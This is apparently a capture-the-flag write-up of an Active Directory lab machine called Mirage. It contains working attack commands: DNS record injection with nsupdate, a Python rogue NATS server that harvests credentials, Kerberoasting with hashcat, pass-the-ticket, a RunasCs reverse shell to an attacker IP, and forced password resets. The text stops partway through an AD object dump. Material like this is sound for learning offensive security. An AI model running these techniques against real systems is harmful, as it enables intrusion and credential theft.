RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT      STATE SERVICE         REASON  VERSION
53/tcp    open  domain          syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec    syn-ack Microsoft Windows Kerberos (server time: 2025-07-20 08:30:52Z)
111/tcp   open  rpcbind         syn-ack 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc           syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn     syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap            syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
| -----BEGIN CERTIFICATE-----
| MIIF7DCCBNSg...
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds?   syn-ack
464/tcp   open  kpasswd5?       syn-ack
593/tcp   open  ncacn_http      syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
| -----BEGIN CERTIFICATE-----
| MIIF7DCCBNSgA...
|_-----END CERTIFICATE-----
2049/tcp  open  nlockmgr        syn-ack 1-4 (RPC #100021)
3268/tcp  open  ldap            syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
| -----BEGIN CERTIFICATE-----
| MIIF7DCCBNSgAwIBAgI...
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap        syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
| -----BEGIN CERTIFICATE-----
| MIIF7DCCBN...
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
4222/tcp  open  vrml-multi-use? syn-ack
| fingerprint-strings:
|   GenericLines:
|     INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":240,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
|     -ERR 'Authorization Violation'
|   GetRequest:
|     INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":241,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
|     -ERR 'Authorization Violation'
|   HTTPOptions:
|     INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":242,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
|     -ERR 'Authorization Violation'
|   NULL:
|     INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":239,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
|_    -ERR 'Authentication Timeout'
5985/tcp  open  http            syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf          syn-ack .NET Message Framing
47001/tcp open  http            syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49335/tcp open  msrpc           syn-ack Microsoft Windows RPC
49664/tcp open  msrpc           syn-ack Microsoft Windows RPC
49665/tcp open  msrpc           syn-ack Microsoft Windows RPC
49666/tcp open  msrpc           syn-ack Microsoft Windows RPC
49667/tcp open  msrpc           syn-ack Microsoft Windows RPC
49668/tcp open  msrpc           syn-ack Microsoft Windows RPC
52074/tcp open  msrpc           syn-ack Microsoft Windows RPC
60607/tcp open  ncacn_http      syn-ack Microsoft Windows RPC over HTTP 1.0
60608/tcp open  msrpc           syn-ack Microsoft Windows RPC
60624/tcp open  msrpc           syn-ack Microsoft Windows RPC
61458/tcp open  msrpc           syn-ack Microsoft Windows RPC
61476/tcp open  msrpc           syn-ack Microsoft Windows RPC
63737/tcp open  msrpc           syn-ack Microsoft Windows RPC

Active Directory basic information:

  • Domain: mirage.htb
  • DC FQDN: dc01.mirage.htb

Additional Exposures:

  • NFS: 111, 2049 — rare for Windows, potential misconfiguration or Unix integration
  • Port 4222: NATS v2.11.3 — message queue who has history of RCE/misconfig

NFS

Network File System (NFS) is a distributed file system protocol usually seen on Linux. commonly encountered in Unix-like environments. We previously dissected its architecture and access methodology in the Scepter writeup.

Knock on the service:

$ showmount -e mirage.htb

Export list for mirage.htb:
/MirageReports (everyone)

A mount file system named MirageReports is available for everyone. Therefore, we can mount the remote share locally:

$ mkdir nfs

$ sudo mount -t nfs mirage.htb:/MirageReports ./nfs

$ sudo ls nfs -l
total 17488
-rwx------+ 1 nobody nobody 8530639 May 20 08:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nobody 9373389 May 26 14:37 Mirage_Authentication_Hardening_Report.pdf

$ sudo bash -c 'cp nfs/* .'

$ ll
total 18M
-rwx------  1 root   root   8.2M Jul 19 19:14 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------  1 root   root   9.0M Jul 19 19:14 Mirage_Authentication_Hardening_Report.pdf
drwxrwxrwx+ 2 nobody nobody   64 May 26 14:41 nfs

$ sudo umount nfs

We have spotted two suspicious PDF files inside.

PDF Reports

The Mirage_Authentication_Hardening_Report.pdf reveals that NTLM has been deprecated within the Mirage Active Directory, supplanted by the more secure Kerberos authentication model—currently in transition:

htb_mirage_1

This transitional state suggests residual reliance on NTLM-based authentication may persist—particularly within legacy systems or potentially a backup instance of the "mirage" host.

Opening the subsequent document, Incident_Report_Missing_DNS_Record_nats-svc.pdf, we find an incident logged under the topic Missing DNS Record for nats-svc—the development team (Dev_Account_A) encountered connection failures when attempting to reach the NATS server via the nats-svc hostname:

htb_mirage_2

Investigation confirms the DNS zone on the Domain Controller lacks an entry for nats-svc, resulting in failed name resolution. The team suspects this record was dynamically registered and subsequently purged by DNS scavenging, a mechanism that cleanses stale dynamic records from the zone.

They proposed three mitigation strategies—each weighed against security implications:

  1. Convert nats-svc to a Static Record
  • Why: Static records are immune to scavenging.
  • Risk: Requires manual tracking; not ideal if the system changes frequently.
  1. Extend DNS Scavenging Interval
  • New Interval: 21–30 days
  • Why: Allows services with infrequent uptime to persist in DNS longer.
  • Risk: May lead to buildup of stale records.
  1. Disable Scavenging (Zone-wide)
  • Why: Ensures no dynamic records are purged.
  • Risk: Considered dangerous; could flood DNS with stale, outdated entries.

The key takeaway: even if the nats-svc DNS entry is absent from the Domain Controller, applications hardcoded with nats-svc.mirage.htb may still attempt resolution or connection, especially if cached locally or retained in resolver memory. This opens potential vectors for hostname-based manipulation or redirection, particularly in scenarios involving stale or orphaned DNS logic.

USER

NATS

Overview

NATS is a high-performance, open-source messaging system designed for cloud-native, distributed systems, and microservices. It enables applications and services to communicate asynchronously using publish-subscribe, request-reply, or queue-based messaging patterns.

Port 4222 on the target machine is the default TCP port used by a NATS server. We see our Nmap scan tried to authenticate against it with its payloads:

4222/tcp  open  vrml-multi-use? syn-ack
| fingerprint-strings:
|   GenericLines:
|     INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":240,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
|     -ERR 'Authorization Violation'
...

The fingerprints of the NATS messaging server is:

version: "2.11.3"
proto: 1
auth_required: true
jetstream: true

This is an updated version which is not vulnerable to open CVEs.

DNS Spoof

From the internal report, it's evident that hardcoded service names like nats-svc.mirage.htb are embedded within applications. When the DNS record vanishes—thanks to scavenging or misconfiguration—the victim's client might still reach out. That's our window.

The application is calling out to a ghost—nats-svc.mirage.htb—which no longer exists in DNS. So we become the ghost. Spin up a rogue server. Wait for the knock.

We hijack the void by binding a rogue NATS server to port 4222, emulating the service fingerprint previously captured via Nmap:

Python
from pwn import *
import socket

context.log_level = 'info'

bind_ip = "0.0.0.0"
bind_port = 4222

log.info(f"Starting fake NATS server on {bind_ip}:{bind_port}")

# 0- Setup socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

try:
    s.bind((bind_ip, bind_port))
    s.listen(5)
    log.success(f"Listening on {bind_ip}:{bind_port}")
except Exception as e:
    log.error(f"Failed to bind: {e}")
    exit(1)

# 1- Wait for victim to connect
while True:
    try:
        client, addr = s.accept()
        log.info(f"Connection from {addr[0]}:{addr[1]}")

        """Send fake INFO line required by NATS clients to initiate handshake"""
        fake_info = b'INFO {"server_id":"Axura-nats","version":"2.11.99","auth_required":true}\r\n'
        client.sendall(fake_info)
        log.debug(f"Sent fake INFO to client")

        """Receive CONNECT line"""
        data = client.recv(1024)
        if data:
            try:
                decoded = data.decode(errors='replace').strip()
                log.success("[>] Received data:")
                print(decoded)
            except Exception as e:
                log.warning(f"Failed to decode data: {e}")
        else:
            log.warning("No data received.")

        client.close()

    except KeyboardInterrupt:
        log.info("Shutting down server.")
        break
    except Exception as e:
        log.warning(f"Error during client handling: {e}")

Now here's the kicker—when the client attempts resolution, if DNS fails, fallback mechanisms like LLMNR, NetBIOS, or stale resolver cache may surface.

On the other hand, we force the issue upstream with a forged A-record injection using nsupdate:

Bash
nsupdate <<EOF
server $target_ip
zone mirage.htb.
update add nats-svc.mirage.htb 300 A $attacker_ip
send
EOF

Once propagated, internal services blindly connect to our rogue server—thinking it's legit. We intercept the handshake:

htb_mirage_3

Payload extracted:

JSON
{
  "verbose": false,
  "pedantic": false,
  "user": "Dev_Account_A",
  "pass": "hx5h7F5554fP@1337!",
  "tls_required": false,
  ...
}

Plaintext creds. In the wild. Armed with these, we pivot—authenticate against the real NATS instance at mirage.htb:4222.

NATS Enum

With valid creds in hand (Dev_Account_A / hx5h7F5554fP@1337!), it's time to turn passive interception into active infiltration. The target: the live NATS server at mirage.htb:4222.

Installing nats CLI:

Bash
go install github.com/nats-io/natscli/nats@latest
export PATH=$PATH:$(go env GOPATH)/bin

Authenticating to the NATS server and subscribing to the wildcard subject >:

Bash
nats sub \
    --server 'nats://mirage.htb:4222' \
    --user 'Dev_Account_A' \
    --password 'hx5h7F5554fP@1337!' \
    ">"
htb_mirage_4

We intercept a JetStream advisory, revealing metadata tied to the stream auth_logs—a stream that whispers authentication history and administrative actions. The advisory logs that a client (us) queried:

"subject": "$JS.API.STREAM.INFO.auth_logs"

This confirms visibility over sensitive internal events—prime for lateral movement.

We escalate by adding a pull-based JetStream consumer named reader, anchored to auth_logs:

Bash
nats consumer add auth_logs reader \
      --pull \
      --ack=explicit \
      --server 'nats://mirage.htb:4222' \
      --user 'Dev_Account_A' \
      --password 'hx5h7F5554fP@1337!'

The --pull flag configured as a pull-based consumer (i.e., request messages manually):

htb_mirage_5

With the consumer locked and loaded, we rip messages from the stream:

Bash
nats consumer next auth_logs reader \
      --count=5 \
      --server 'nats://mirage.htb:4222' \
      --user 'Dev_Account_A' \
      --password 'hx5h7F5554fP@1337!'

Pulls the next 5 messages from the reader consumer on auth_logs:

We have captured a login record david.jjackson / pN8kQmn6b86!1234@ from an internal IP address 10.10.10.20.

Domain

Kerberos Config

Verify the found account:

$ nxc ldap dc01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@'

[*] Initializing LDAP protocol database
LDAP        10.129.37.13   389    DC01             [*] None (name:DC01) (domain:mirage.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        10.129.37.13   389    DC01             [-] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ STATUS_NOT_SUPPORTED

This is the same case in the RustyKey writeup, also indicated from the previous PDF report, that NTLM is partially disabled.

Simply set it up for Kerberos:

Bash
# Generate krb5 file
./ft.sh mirage.htb \
nxc smb dc01.mirage.htb \
        -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' \
        --generate-krb5-file /tmp/mirage.krb5
        
# Source the config file as env
export KRB5_CONFIG=/tmp/mirage.krb5

With the stage prepared, we strike using Netexec in Kerberos mode (-k):

Bash
./ft.sh mirage.htb \
nxc smb dc01.mirage.htb \
        -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k

Error Countermeasure: KRB_AP_ERR_SKEW

Kerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using faketime — as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.

htb_mirage_7

Enum

With the authentication primitive we can now perform some enumeration.

Enumerate existed users:

Bash
./ft.sh mirage.htb \
nxc smb dc01.mirage.htb \
        -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k \
        --users

Sorted output:

UsernameLast Password SetDescription
Administrator2025-06-23 21:18:18Built-in domain admin
Guest<never>Built-in guest account
krbtgt2025-05-01 07:42:23Kerberos Ticket Granting Ticket account
Dev_Account_A2025-05-27 14:05:12Pwned
Dev_Account_B2025-05-02 08:28:11[ ! ] Possibly related to Dev_A
david.jjackson2025-05-02 08:29:50Pwned
javier.mmarshall2025-05-25 18:44:43Member of "Contoso Contractors"
mark.bbond2025-06-23 21:18:18No description
nathan.aadam2025-06-23 21:18:18No description
svc_mirage2025-05-22 20:37:45Old service account migrated by contractors

Suspicious / Linked Accounts:

  • Dev_Account_B
    • Created within minutes of david.jjackson
  • javier.mmarshall
    • Explicitly described as “Contoso Contractors”
  • svc_mirage
    • Labeled as “old service account migrated by contractors” — like javier.mmarshall
    • May have legacy permissions, potential for privilege escalation

We can run BloodHound to dump and graph domain DACL relationship:

Bash
./ft.sh mirage.htb \
bloodhound-python -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k \
		-dc 'dc01.mirage.htb' -d 'mirage.htb' \
		-ns $target_ip --zip -c All 

Not much we can do to abuse DACLs from the current standpoint. But we would always like to set our foothold on a user from the Remote Management Users group, like nathan.aadam:

htb_mirage_8

As usual, we'll bring more graph intel into play as the attack path unfolds.

Kerberoasting

No DACL abuse discovered from user David, thus we can try some roasting attack, for example the Kerberoasting.

Exploit it with Netexec:

Bash
./ft.sh mirage.htb \
nxc ldap dc01.mirage.htb \
        -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k \
        --kerberoasting krbroasting.txt

nathan.aadam lit up on the radar:

$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$dd9c93cdc259fa1e56dc30d505c78733$0d643a8838ac3200c5dd2b4e0869c05d377b617150d70d218a90b9fd48f858b67d57e83da6b3511b31c8304fdff759201a3db3d2085880542748152f48911395dbfa4e9361fdeb766b17ec5965e7fbd9bb2f0168857f8fde510558583b8e0ebfcec1f74c92d4b1c1afc385d24ebc0b36cd7b9da72109ae0ef2ce317e01a08065eaaca6bf9c1dcf1a7267c06e5092cd7042ac77d941cab48e2acb9efd7a802c06c6736f8e809f9a4f959408540060c74bbc961b2347e19bdfa148e9f418e80b2dd3fcc98442addd9f0b06a6879efb9d77c133b70d155a28f19858eedca9696f86c955390ba66c0bf57e42a508f3e68815a8fc864de331656430a92cdbd09eb742efbcfc0211c2a658ef41b732d57d7db00dd10bd87d7179b6bc66ab48bdf349ac3b998284bf71d6ca6e631554303874be48c59d6b31d66403a636a4b19dbee63ef1071015acaa66b2f26476578dd19c5c6397db6302f588a96893a77b9975a2f1e0fedfb7621206d0cbe7e6935d87b8fe2824b6867297980ec1f5fc30f84322d14a1364416af66ace19e78df2be365af8bbbb1ee4b4d54feafecb29cf3748114756119c88cda7f8b83c3b2a588fbbf88aa2b550d102e4c52553406a93b25faedc25529aeb62c63c74ad1bf7f080accf1a1acc9b95a6b2c9637255b558b6a099a98eb5cfa9e5d9b5d7c351b9bbf4a6c84cbc4b2a7f457cd3d4163a2706d14f27eb2f2fcff2dcffb4d9fa204d657531ee8ea1604fdd05ea73152e0c725174ac1a65c494dc731bbd0311cb93fbf598bd7333284ccfadbbb0cf2fe461357ab07f9255e6742c8c4e89f20ae91ae26381b07e814b9748d05058bea0146f789aabaa5b3e4e58cad890cb9def2cc91b2539a7ef326b9a94fb313cbe6f0faf337d32b46992c1f6eb86b52c3ed1ae161ba43bd96701563d388b8a8720a2b6fac7286b30066efd14821270b7fe327ab6b1ce7268bca3e58129b66a28f6c95a36acfedbcf3900d71345b1164430139600f65b22bbe378b37b7a400651d5a57a9d10d0ae42abff5d2f0ec5135092c6a7b9ff3da807954edf2c48ba1b25a2e20c2ab505f64e35d1d5a19b3030a8acda6a8462d4a98c6611bffce58446ba6df25a1685e44a5b9a8de1e0e1573728a68edb814e3d4cee736606d4f723fff93b90012e86e79052253a41b98de3e709befa1f73a53e39cb5c6678b649f785e4c76e2a2de972ed9e48c083705d81c6750e8c9cb2c3cd395382d8feb648dda0512679496f58255f0698764d9762e9bb4b91c74a82bd8b3bb31db82cb4d2eb7e78f7673bdbbf0ca1acab683b355afacde3b094a93ec4e12c755f06092b764a06a082cd57698abb3ce9146a173b8b81b7a2bccc301b0f1ca98bdadefad3a0256d2ea4ddad4e7fcfaa5a21d2c52a8406d6e6de87484e0ad9a584c6820df9e5cf9c8dd2d3b07f2591eae3d195223b71118240a8b9a9a7fc40379094fd1d77f308538327c323482dbaba36885e59d1377778c59b6ef9f031e065f4c4facb817d0ad5710973a685d3f961d08f1b701d1a18fff3ec87a91baa0e2b4a67567935778e2ef9538c15

A roastable TGS-REP hash, indicating SPN exposure with RC4-HMAC (etype 23).

We toss it into hashcat with a classic rockyou.txt brute:

Bash
hashcat -m 13100 -a 0 hashes.txt /path/to/rockyou.txt --force

Jackpot:

$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$dd9c93...:3edc#EDC3

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)

Earlier BloodHound recon confirmed nathan.aadam sits inside the Remote Management Users group. With NTLM disabled, our vector is Kerberos.

We request a TGT using Impacket:

Bash
./ft.sh mirage.htb \
getTGT.py 'mirage.htb/nathan.aadam:3edc#EDC3'

Then move in with pass-the-ticket using evil-winrm:

Bash
./ft.sh mirage.htb \
env KRB5CCNAME=nathan.aadam.ccache \
evil-winrm -i dc01.mirage.htb -r mirage.htb

User compromised:

htb_mirage_9

User flag captured.

ROOT

The crown jewel in this op is svc_mirage, a legacy service account allegedly migrated and now managed by contractors—namely javier.mmarshall.

Autologon Credentials

To compromise Javier, we would take over another normal user mark.bbond first, revealed from the BloodHound graph:

htb_mirage_10

We pivot first through mark.bbond, exposed via BloodHound as part of the IT Support group. Our compromised user, nathan.aadam, is nested within IT_Admins, giving us a perch to dig deeper.

No AV detected, we are free to run various enumeration tools internally to find out their connections. We deploy winPEAS and get lucky—AutoLogon credentials drop in plain sight:

htb_mirage_11

A gift-wrapped credential pair: mark.bbone / 1day@atime.

AutoLogon credentials are username and password values stored in the Windows Registry that allow a user to automatically log in to a Windows system at boot—without entering credentials manually.

We can query the specific registy:

PS C:\Users\nathan.aadam> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

 DefaultDomainName    REG_SZ    MIRAGE
 DefaultUserName    REG_SZ    mark.bbond
 LastUsedUsername    REG_SZ    mark.bbond
 DefaultPassword    REG_SZ    1day@atime
 ...

The credentials are stored in plaintext in the registry.

We verify the creds:

$ ./ft.sh mirage.htb \
nxc smb dc01.mirage.htb \
        -u 'mark.bbond' -p '1day@atime' -k

[*] Querying offset from: mirage.htb
[*] faketime -f format: +25202.205827
25202.205827s
[*] Running: nxc smb dc01.mirage.htb -u mark.bbond -p 1day@atime -k
SMB         dc01.mirage.htb 445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.mirage.htb 445    dc01             [+] mirage.htb\mark.bbond:1day@atime

Bingo.

Although WinRM access is denied, we bypass via RunasCs, executing a reverse shell under Mark's context:

PowerShell
.\RunasCs.exe mark.bbond 1day@atime powershell -r 10.10.13.3:4444

Another user compromised:

htb_mirage_12

ForceChangePassword

Reset Password

Back to the BloodHound graph—mark.bbond has ForceChangePassword rights over javier.mmarshall. We can either leverage bloodyAD (like in Haze) or finish the next exploit within the Mark shell (like in Axlle) to abuse ForceChangePassword privilege.

htb_mirage_10

Let's use bloodyAD in this case for easy repeatedly usage in the future:

Bash
./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
        -u 'mark.bbond' -p '1day@atime' -k \
        set password "javier.mmarshall" "Axura4sure~"

Password reset succeeds—but the login attempt fails with KDC_ERR_CLIENT_REVOKED:

htb_mirage_13

This Kerberos error is crystal clear — the Kerberos Key Distribution Center (KDC) has rejected the authentication request because the client account is disabled or revoked.

Restriction

We've hit the wall of KDC_ERR_CLIENT_REVOKED—but this wall has cracks. Javier's account is not dead. Just disabled by policy (GPOs), tucked inside the Disabled OU.

ACCOUNTDISABLE

This is expected, for we already noticed some custom policies to restrict certain accounts from BloodHound earlier:

htb_mirage_14

Check in the Mark shell:

PS C:\Windows\system32> Get-ADUser -Identity javier.mmarshall -Properties Enabled, LockedOut, AccountExpirationDate

AccountExpirationDate :
DistinguishedName     : CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
Enabled               : False
GivenName             : javier.mmarshall
LockedOut             : False
Name                  : javier.mmarshall
ObjectClass           : user
ObjectGUID            : c52e731b-30c1-439c-a6b9-0c2f804e5f08
SamAccountName        : javier.mmarshall
SID                   : S-1-5-21-2127163471-3824721834-2568365109-1108
Surname               :
UserPrincipalName     : [email protected]

javier.mmarshall is in that Disabled OU, which aligns with the KDC_ERR_CLIENT_REVOKED error we encountered during Kerberos authentication.

This is similar to what we did in the Puppy writeup. To crack that, first we can lookup attributes of user javier.mmarshall:

Bash
./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
        -u 'mark.bbond' -p '1day@atime' -k \
        get object javier.mmarshall

Output:

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 1601-01-01 00:00:00+00:00
badPwdCount: 0
cn: javier.mmarshall
codePage: 0
countryCode: 0
dSCorePropagationData: 2025-05-22 21:49:20+00:00
description: Contoso Contractors
displayName: javier.mmarshall
givenName: javier.mmarshall
instanceType: 4
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 2025-05-25 18:43:57.120180+00:00
lastLogonTimestamp: 2025-05-22 21:45:29.508220+00:00
logonCount: 13
logonHours:
memberOf: CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htb
msDS-SupportedEncryptionTypes: 0
nTSecurityDescriptor: O:S-1-5-21-2127163471-3824721834-2568365109-512G:S-1-5-21-2127163471-3824721834-2568365109-512D:AI(OD;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-1-0)(OD;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-5-21-2127163471-3824721834-2568365109-2602)(OA;;CR;00299570-246d-11d0-a768-00aa006e0529;;S-1-5-21-2127163471-3824721834-2568365109-2602)(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-2127163471-3824721834-2568365109-553)(OA;;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;;S-1-5-21-2127163471-3824721834-2568365109-553)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;;S-1-5-21-2127163471-3824721834-2568365109-553)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;;S-1-5-21-2127163471-3824721834-2568365109-553)(OA;;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2127163471-3824721834-2568365109-2602)(OA;;WP;bf9679ab-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2127163471-3824721834-2568365109-2602)(OA;;0x30;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2127163471-3824721834-2568365109-517)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;0x30;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;0x30;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;CR;ab721a54-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a56-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;;S-1-5-11)(OA;;RP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-11)(OA;;RP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;RP;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-11)(OA